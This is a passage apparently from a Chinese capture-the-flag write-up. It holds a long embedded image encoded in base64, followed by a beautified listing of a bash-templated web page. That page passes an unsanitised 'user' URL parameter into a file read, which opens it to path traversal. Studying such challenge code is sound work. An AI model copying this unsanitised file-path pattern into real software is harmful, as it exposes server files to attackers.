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" alt=""></p><p>对代码进行美化,结果如下:</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> <span class="attr">type</span>=<span class="string">"text/css"</span> <span class="attr">href</span>=<span class="string">"/css/std.css"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">title</span>></span><span class="tag"></<span class="name">title</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">body</span>></span></span><br><span class="line"> $ if contains 'user' ${!URL_PARAMS[@]} <span class="symbol">&amp;</span><span class="symbol">&amp;</span> file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "</span><br><span class="line"> <span class="tag"><<span class="name">h3</span>></span></span><br><span class="line"> ${username}'s posts:</span><br><span class="line"> <span class="tag"></<span class="name">h3</span>></span>"; $ echo "</span><br><span class="line"> <span class="tag"><<span class="name">ol</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">li</span> <span class="attr">style</span>=<span class="string">"list-style: none"</span>></span>"; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <span class="symbol">&lt;</span><span class="symbol">&lt;</span><span class="symbol">&lt;</span> "${post}"); $ echo ""; $ done $ echo "</span><br><span class="line"> <span class="tag"></<span class="name">li</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">li</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">a</span> <span class="attr">href</span>=<span class="string">"/<span class="symbol">&quot;</span>/post.wtf?post=${post_slug}/<span 